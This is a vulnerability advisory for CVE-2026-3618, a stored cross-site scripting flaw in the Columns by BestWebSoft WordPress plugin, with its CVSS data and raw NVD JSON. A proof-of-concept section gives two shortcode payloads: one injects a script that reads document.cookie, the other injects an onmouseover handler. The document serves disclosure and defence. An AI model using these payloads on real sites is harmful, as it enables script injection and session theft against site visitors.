Security Vulnerability Report
中文
CVE-2026-3618 CVSS 6.4 MEDIUM

CVE-2026-3618

Published: 2026-04-08 07:16:22
Last Modified: 2026-04-27 19:04:23

Description

The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [print_clmns] shortcode in all versions up to and including 1.0.3. This is due to insufficient input sanitization and output escaping on the 'id' attribute. The shortcode receives the 'id' parameter via shortcode_atts() at line 596 and directly embeds it into HTML output at line 731 (in a div id attribute) and into inline CSS at lines 672-729 without any escaping or sanitization. While the SQL query uses %d to cast the value to an integer for database lookup, the original unsanitized string value of $id is still used in the HTML/CSS output. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attack requires that at least one column exists in the plugin (created by an admin), as the SQL query must return results for the output branch to be reached.

CVSS Details

CVSS Score
6.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Columns by BestWebSoft <= 1.0.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// WordPress Shortcode Payload for Stored XSS // Insert the following into a post/page content as a Contributor user. // Payload 1: Breaking out of the HTML attribute [print_clmns id="1\"><script>alert(document.cookie);</script>"] // Payload 2: Injecting via inline CSS style attribute [print_clmns id="1\" style=\"background-color:red;\" onmouseover=\"alert(1)\" x=\""]

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-3618", "sourceIdentifier": "[email protected]", "published": "2026-04-08T07:16:21.887", "lastModified": "2026-04-27T19:04:22.650", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Columns by BestWebSoft plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' shortcode attribute of the [print_clmns] shortcode in all versions up to and including 1.0.3. This is due to insufficient input sanitization and output escaping on the 'id' attribute. The shortcode receives the 'id' parameter via shortcode_atts() at line 596 and directly embeds it into HTML output at line 731 (in a div id attribute) and into inline CSS at lines 672-729 without any escaping or sanitization. While the SQL query uses %d to cast the value to an integer for database lookup, the original unsanitized string value of $id is still used in the HTML/CSS output. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. The attack requires that at least one column exists in the plugin (created by an admin), as the SQL query must return results for the output branch to be reached."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N", "baseScore": 6.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.1, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/columns-bws/tags/1.0.3/columns-bws.php#L596", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/columns-bws/tags/1.0.3/columns-bws.php#L672", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/columns-bws/tags/1.0.3/columns-bws.php#L729", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/columns-bws/tags/1.0.3/columns-bws.php#L731", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/columns-bws/trunk/columns-bws.php#L596", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/columns-bws/trunk/columns-bws.php#L672", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/columns-bws/trunk/columns-bws.php#L729", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/columns-bws/trunk/columns-bws.php#L731", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d3e293db-9177-4fbb-a469-900d9330642d?source=cve", "source": "[email protected]"}]}}